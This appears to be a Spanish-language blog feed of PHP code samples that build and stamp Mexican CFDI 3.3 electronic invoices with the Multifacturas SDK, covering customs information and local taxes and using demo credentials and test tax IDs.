<span style="font-size: x-small;">//$datos['factura']['NumCtaPago'] = '0234'; //opcional; 4 DIGITOS pero obligatorio en transferencias y cheques</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['RegimenFiscal'] = '601';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA </span><br />
<span style="font-size: x-small;">$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// IMPORTANTE PROBAR CON NOMBRE Y RFC REAL O GENERARA ERROR DE XML MAL FORMADO</span><br />
<span style="font-size: x-small;">$datos['receptor']['rfc'] = 'SOHM7509289MA';</span><br />
<span style="font-size: x-small;">$datos['receptor']['nombre'] = 'MIGUEL ANGEL SOSA HERNANDEZ';</span><br />
<span style="font-size: x-small;">$datos['receptor']['UsoCFDI'] = 'P01';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//AGREGAR 10 CONCEPTOS DE PRUEBA</span><br />
<span style="font-size: x-small;">$concepto['ClaveProdServ'] = '84111506';</span><br />
<span style="font-size: x-small;"> $concepto['cantidad'] = '1';</span><br />
<span style="font-size: x-small;"> $concepto['unidad'] = 'NO APLICA';</span><br />
<span style="font-size: x-small;"> $concepto['ClaveUnidad'] = "ACT"; //ID, REF, CODIGO O SKU DEL PRODUCTO</span><br />
<span style="font-size: x-small;"> $concepto['descripcion'] = "SERVICIO DE MANTENIMIENTO";</span><br />
<span style="font-size: x-small;"> $concepto['valorunitario'] = '1000.00'; // SIN IVA</span><br />
<span style="font-size: x-small;"> $concepto['importe'] = '1000.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"> $datos['conceptos'][0] = $concepto;</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Base'] = '1000.00';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Importe'] = '160.00'; </span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="white-space: pre;"><span style="font-size: x-small;"> </span></span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Retenciones'][0]['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Retenciones'][0]['Importe'] = '160.00'; // iva de los productos facturados</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Retenciones'][0]['Base'] = '1000.00';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Retenciones'][0]['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Retenciones'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="white-space: pre;"><span style="font-size: x-small;"> </span></span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Retenciones'][1]['Impuesto'] = '001';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Retenciones'][1]['Importe'] = '160.00'; // iva de los productos facturados</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Retenciones'][1]['Base'] = '1000.00';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Retenciones'][1]['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Retenciones'][1]['TipoFactor'] = 'Tasa';</span><br />
<span style="white-space: pre;"><span style="font-size: x-small;"> </span></span><br />
<span style="font-size: x-small;">$datos['impuestos']['TotalImpuestosTrasladados']='160.00';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['TotalImpuestosRetenidos']='320.00';</span><br />
<span style="font-size: x-small;">$translado1['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$translado1['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;">$translado1['Importe'] = '160.00'; // iva de los productos facturados</span><br />
<span style="font-size: x-small;">$translado1['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0] = $translado1;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$retenido['impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$retenido['importe'] = '160.00'; // iva de los productos facturados</span><br />
<span style="font-size: x-small;">$datos['impuestos']['retenciones'][0] = $retenido;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$retenido2['impuesto'] = '001';</span><br />
<span style="font-size: x-small;">$retenido2['importe'] = '160.00'; // iva de los productos facturados</span><br />
<span style="font-size: x-small;">$datos['impuestos']['retenciones'][1] = $retenido2;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['subtotal'] = 1000.00; // sin impuestos</span><br />
<span style="font-size: x-small;">$datos['factura']['total'] = 840.00; // total incluyendo impuestos</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se ejecuta el SDK</span><br />
<span style="font-size: x-small;">$res = mf_genera_cfdi($datos);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////</span><br />
<br />
<span style="font-size: x-small;">echo "<h1>Respuesta Generar XML y Timbrado</h1>";</span><br />
<span style="font-size: x-small;">foreach($res AS $variable=>$valor)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $valor=htmlentities($valor);</span><br />
<span style="font-size: x-small;"> $valor=str_replace('&lt;br/&gt;','<br/>',$valor);</span><br />
<span style="font-size: x-small;"> echo "<b>[$variable]=</b>$valor<hr>";</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-74794020337718960872018-11-28T10:49:00.000-06:002018-11-28T10:49:08.611-06:00Facturacion electronica SAT Ejemplo crear xml cfdi Informacion aduanera en phpFacturacion electronica SAT Ejemplo crear xml cfdi Informacion aduanera en php<br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se especifica la zona horaria</span><br />
<span style="font-size: x-small;">date_default_timezone_set('America/Mexico_City');</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se incluye el SDK</span><br />
<span style="font-size: x-small;">require_once '../../sdk2.php';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se especifica la version de CFDi 3.3</span><br />
<span style="font-size: x-small;">$datos['version_cfdi'] = '3.3';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Ruta del XML Timbrado</span><br />
<span style="font-size: x-small;">$datos['cfdi']='../../timbrados/cfdi_ejemplo_factura_info_aduana.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Ruta del XML de Debug</span><br />
<span style="font-size: x-small;">$datos['xml_debug']='../../timbrados/sin_timbrar_ejemplo_factura_info_aduana.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Credenciales de Timbrado</span><br />
<span style="font-size: x-small;">$datos['PAC']['usuario'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['pass'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['produccion'] = 'NO';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Rutas y clave de los CSD</span><br />
<span style="font-size: x-small;">$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['pass'] = '12345678a';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos de la Factura</span><br />
<span style="font-size: x-small;">$datos['factura']['condicionesDePago'] = 'CONDICIONES';</span><br />
<span style="font-size: x-small;">$datos['factura']['descuento'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);</span><br />
<span style="font-size: x-small;">$datos['factura']['folio'] = '100';</span><br />
<span style="font-size: x-small;">$datos['factura']['forma_pago'] = '01';</span><br />
<span style="font-size: x-small;">$datos['factura']['LugarExpedicion'] = '45079';</span><br />
<span style="font-size: x-small;">$datos['factura']['metodo_pago'] = 'PUE';</span><br />
<span style="font-size: x-small;">$datos['factura']['moneda'] = 'MXN';</span><br />
<span style="font-size: x-small;">$datos['factura']['serie'] = 'A';</span><br />
<span style="font-size: x-small;">$datos['factura']['subtotal'] = 298.00;</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocambio'] = 1;</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocomprobante'] = 'E';</span><br />
<span style="font-size: x-small;">$datos['factura']['total'] = 345.68;</span><br />
<span style="font-size: x-small;">$datos['factura']['RegimenFiscal'] = '601';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos del Emisor</span><br />
<span style="font-size: x-small;">$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA</span><br />
<span style="font-size: x-small;">$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos del Receptor</span><br />
<span style="font-size: x-small;">$datos['receptor']['rfc'] = 'XAXX010101000';</span><br />
<span style="font-size: x-small;">$datos['receptor']['nombre'] = 'Publico en General';</span><br />
<span style="font-size: x-small;">$datos['receptor']['UsoCFDI'] = 'G02';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se agregan los conceptos</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['conceptos'][0]['cantidad'] = 1.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['unidad'] = 'NA';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['ID'] = "1726";</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['descripcion'] = "PRODUCTO DE PRUEBA 1";</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['valorunitario'] = 99.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['importe'] = 99.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['ClaveProdServ'] = '01010101';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['ClaveUnidad'] = 'ACT';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Base'] = 99.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Importe'] = 15.84;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['InformacionAduanera'][0]['NumeroPedimento'] = '9999';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['InformacionAduanera'][1]['NumeroPedimento'] = '8888';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['conceptos'][1]['cantidad'] = 1.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['unidad'] = 'NA';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['ID'] = "1586";</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['descripcion'] = "PRODUCTO DE PRUEBA 2";</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['valorunitario'] = 199.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['importe'] = 199.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['ClaveProdServ'] = '01010101';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['ClaveUnidad'] = 'ACT';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['conceptos'][1]['Impuestos']['Traslados'][0]['Base'] = 199.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['Impuestos']['Traslados'][0]['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['Impuestos']['Traslados'][0]['Importe'] = 31.84;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se agregan los Impuestos</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['tasa'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['importe'] = 47.68;</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['impuestos']['TotalImpuestosTrasladados'] = 47.68;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se ejecuta el SDK</span><br />
<span style="font-size: x-small;">$res = mf_genera_cfdi($datos);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////</span><br />
<span style="font-size: x-small;">/*echo "<pre>";</span><br />
<span style="font-size: x-small;">print_r($datos);</span><br />
<span style="font-size: x-small;">echo "</pre>";*/</span><br />
<span style="font-size: x-small;">echo "<h1>Respuesta Generar XML y Timbrado</h1>";</span><br />
<span style="font-size: x-small;">foreach ($res AS $variable => $valor) {</span><br />
<span style="font-size: x-small;"> $valor = htmlentities($valor);</span><br />
<span style="font-size: x-small;"> $valor = str_replace('&lt;br/&gt;', '<br/>', $valor);</span><br />
<span style="font-size: x-small;"> echo "<b>[$variable]=</b>$valor<hr>";</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-77980871623670911232018-11-27T10:43:00.000-06:002018-11-27T10:43:10.081-06:00Facturacion electronica SAT Ejemplo crear xml cfdi Impuestos locales en phpFacturacion electronica SAT Ejemplo crear xml cfdi Impuestos locales en php<br />
<br />
<br />
<span style="font-size: x-small;">// Se especifica la zona horaria</span><br />
<span style="font-size: x-small;">date_default_timezone_set('America/Mexico_City');</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se incluye el SDK</span><br />
<span style="font-size: x-small;">require_once '../../sdk2.php';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['complemento'] = 'implocal10';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se especifica la version de CFDi 3.3</span><br />
<span style="font-size: x-small;">$datos['version_cfdi'] = '3.3';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Ruta del XML Timbrado</span><br />
<span style="font-size: x-small;">$datos['cfdi']='../../timbrados/cfdi_ejemplo_factura.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Ruta del XML de Debug</span><br />
<span style="font-size: x-small;">$datos['xml_debug']='../../timbrados/sin_timbrar_ejemplo_factura.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Credenciales de Timbrado</span><br />
<span style="font-size: x-small;">$datos['PAC']['usuario'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['pass'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['produccion'] = 'NO';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Rutas y clave de los CSD</span><br />
<span style="font-size: x-small;">$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['pass'] = '12345678a';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos de la Factura</span><br />
<span style="font-size: x-small;">$datos['factura']['condicionesDePago'] = 'CONDICIONES';</span><br />
<span style="font-size: x-small;">$datos['factura']['descuento'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);</span><br />
<span style="font-size: x-small;">$datos['factura']['folio'] = '100';</span><br />
<span style="font-size: x-small;">$datos['factura']['forma_pago'] = '01';</span><br />
<span style="font-size: x-small;">$datos['factura']['LugarExpedicion'] = '45079';</span><br />
<span style="font-size: x-small;">$datos['factura']['metodo_pago'] = 'PUE';</span><br />
<span style="font-size: x-small;">$datos['factura']['moneda'] = 'MXN';</span><br />
<span style="font-size: x-small;">$datos['factura']['serie'] = 'A';</span><br />
<span style="font-size: x-small;">$datos['factura']['subtotal'] = 298.00;</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocambio'] = 1;</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocomprobante'] = 'E';</span><br />
<span style="font-size: x-small;">$datos['factura']['total'] = 345.68;</span><br />
<span style="font-size: x-small;">$datos['factura']['RegimenFiscal'] = '601';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos del Emisor</span><br />
<span style="font-size: x-small;">$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA</span><br />
<span style="font-size: x-small;">$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos del Receptor</span><br />
<span style="font-size: x-small;">$datos['receptor']['rfc'] = 'ACO0510202G0';</span><br />
<span style="font-size: x-small;">$datos['receptor']['nombre'] = 'COSMETICA, S. A. DE C. V.';</span><br />
<span style="font-size: x-small;">$datos['receptor']['UsoCFDI'] = 'G02';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se agregan los conceptos</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['conceptos'][0]['cantidad'] = 1.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['unidad'] = 'NA';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['ID'] = "1726";</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['descripcion'] = "un bubu";</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['valorunitario'] = 99.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['importe'] = 99.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['ClaveProdServ'] = '01010101';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['ClaveUnidad'] = 'ACT';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Base'] = 99.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Importe'] = 15.84;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['conceptos'][1]['cantidad'] = 1.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['unidad'] = 'NA';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['ID'] = "1586";</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['descripcion'] = "PRODUCTO DE PRUEBA";</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['valorunitario'] = 199.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['importe'] = 199.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['ClaveProdServ'] = '01010101';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['ClaveUnidad'] = 'ACT';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['conceptos'][1]['Impuestos']['Traslados'][0]['Base'] = 199.00;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['Impuestos']['Traslados'][0]['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][1]['Impuestos']['Traslados'][0]['Importe'] = 31.84;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se agregan los Impuestos</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['tasa'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['importe'] = 47.68;</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['impuestos']['TotalImpuestosTrasladados'] = 47.68;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Impuestos Locales 1.0</span><br />
<span style="font-size: x-small;">$datos['implocal10']['TotaldeRetenciones'] = '10';</span><br />
<span style="font-size: x-small;">$datos['implocal10']['TotaldeTraslados'] = '10';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['implocal10']['RetencionesLocales'][0]['ImpLocRetenido'] = '10';</span><br />
<span style="font-size: x-small;">$datos['implocal10']['RetencionesLocales'][0]['TasadeRetencion'] = '10';</span><br />
<span style="font-size: x-small;">$datos['implocal10']['RetencionesLocales'][0]['Importe'] = '10';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['implocal10']['TrasladosLocales'][0]['ImpLocTrasladado'] = '10';</span><br />
<span style="font-size: x-small;">$datos['implocal10']['TrasladosLocales'][0]['TasadeTraslado'] = '10';</span><br />
<span style="font-size: x-small;">$datos['implocal10']['TrasladosLocales'][0]['Importe'] = '10';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se ejecuta el SDK</span><br />
<span style="font-size: x-small;">$res = mf_genera_cfdi($datos);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////</span><br />
<span style="font-size: x-small;">/*echo "<pre>";</span><br />
<span style="font-size: x-small;">print_r($datos);</span><br />
<span style="font-size: x-small;">echo "</pre>";*/</span><br />
<span style="font-size: x-small;">echo "<h1>Respuesta Generar XML y Timbrado</h1>";</span><br />
<span style="font-size: x-small;">foreach ($res AS $variable => $valor) {</span><br />
<span style="font-size: x-small;"> $valor = htmlentities($valor);</span><br />
<span style="font-size: x-small;"> $valor = str_replace('&lt;br/&gt;', '<br/>', $valor);</span><br />
<span style="font-size: x-small;"> echo "<b>[$variable]=</b>$valor<hr>";</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
